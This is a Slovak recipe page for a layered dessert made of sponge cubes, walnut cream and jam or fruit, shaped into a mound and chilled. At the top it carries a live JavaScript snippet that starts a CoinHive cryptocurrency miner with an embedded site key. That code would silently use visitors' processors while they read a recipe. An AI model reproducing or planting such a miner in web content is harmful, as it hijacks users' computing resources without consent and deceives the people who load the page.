

```
var miner = new  
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();
```



Cesto: 6 celých vajec, 180g Promix PK, 160g práškový cukor 10 minút piečť pri 220 °C. Keď vychladne pokrájame na kocky 2 x 2 cm. Krém: 3dcl mlieka, 1 Zlatý klas, 2 žltka Uvaríme a necháme vychladnúť. Primiešame 15dkg maslo, upražíme na sucho 10dkg orechov, pomelieme ich a ušľaháme – zmiešame všetko spolu + 25dkg práškového cukru.

Zoberieme misu a začneme ukladať.

1. Natriem krém na misu.
2. Nasypem vrstvu piškotových kociek.
3. Lyžičkou dáme kde-tu kúsky lekváru prípadne čerstvé ovocie (napr. jahody) – natriem krém.

Opakujem toto dovtedy, kým sa neminú suroviny a formujem to do kopca. Nakoniec dáme zachladiť na 2 hodiny do chladničky.